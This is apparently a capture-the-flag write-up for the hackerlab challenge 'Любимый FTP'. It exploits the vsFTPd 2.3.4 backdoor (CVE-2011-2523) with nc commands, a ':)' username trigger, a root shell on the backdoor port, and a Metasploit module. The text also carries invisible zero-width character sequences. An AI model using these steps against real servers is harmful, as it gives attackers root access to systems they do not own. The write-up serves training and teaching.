Любимый FTP

Platform: hackerlab | Category: Misc | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-25 | Status: Solved Techniques: vsFTPd 2.3.4 backdoor exploitation, CVE-2011-2523 smiley trigger, Remote shell access via backdoor port

Summary

Server: 62.173.140.174:10007 (FTP), 62.173.140.174:10008 (backdoor)

Любимый FTP — hackerlab

Description

Админ Валера сам предложил и настроил своему начальнику FTP-сервер. Я, честно, даже удивился, ведь Валера всё время ссорился с начальником. Интересно...

Server: 62.173.140.174:10007 (FTP), 62.173.140.174:10008 (backdoor)

Analysis

The task description hints at sabotage — an admin who was constantly arguing with his boss "volunteered" to set up FTP. This is a classic scenario of deploying a vulnerable software version.

When connecting to the FTP server, we see the banner: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

220 (vsFTPd 2.3.4)

vsFTPd 2.3.4 — this is the infamous version with a backdoor (CVE-2011-2523). In July 2011, attackers compromised the official vsFTPd repository and injected a backdoor into the source code of version 2.3.4.

Backdoor Mechanism

The backdoor is triggered by sending a username containing the smiley :) (colon + closing parenthesis). After that, a shell with root privileges opens on port 6200 (or in this case 10008).

Solution

Step 1: Connect to FTP and Trigger the Backdoor

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
nc 62.173.140.174 10007

Send the USER command with a smiley:

USER test:)

The server may not respond or return an error — this is normal. The backdoor is already activated.

Step 2: Connect to the Backdoor Shell

 bash read-only • copy allowed Copy
nc 62.173.140.174 10008

We get a root shell:

 bash read-only • copy allowed Copy
id
# uid=0(root) gid=0(root) groups=0(root)

Step 3: Find the Flag

 bash read-only • copy allowed Copy
find / -name "*flag*" 2>/dev/null
# /root/.flag.txt

cat /root/.flag.txt

Alternative Solution (Metasploit)

 bash read-only • copy allowed Copy
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 62.173.140.174
set RPORT 10007
exploit

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

CVE Details

• CVE: CVE-2011-2523
• CVSS: 10.0 (Critical)
• Type: Backdoor / Supply Chain Attack
• Affected versions: vsFTPd 2.3.4 (only the compromised tarball)
• Discovery date: July 2011

References

• CVE-2011-2523
• Rapid7 Metasploit Module
• vsFTPd Backdoor Analysis ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍